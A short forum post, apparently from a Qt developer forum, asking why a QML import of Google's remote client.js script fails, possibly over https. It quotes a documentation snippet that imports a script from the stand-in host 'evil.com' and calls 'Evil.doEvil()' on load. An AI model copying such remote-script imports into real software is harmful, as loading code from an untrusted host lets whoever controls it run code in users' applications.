Hi all,
I am trying to import a remote javascript as this example (http://doc.qt.io/qt-5/qtqml-document...nsparency.html)
Qt Code:
import QtQuick 2.0 import "http://evil.com/evil.js" as Evil Component { onLoaded: Evil.doEvil() }To copy to clipboard, switch view to plain text mode
However, when I try my application, I get the error : Script https://apis.google.com/js/client.js unavailable
My code:
Qt Code:
import "https://apis.google.com/js/client.js" as GoogleApiTo copy to clipboard, switch view to plain text mode
Is it because of https? Or I misunderstood the usage of this google API.
If I didn't explanation my question clear enough. Please kindly tell me.
Best regards,
Clark
Bookmarks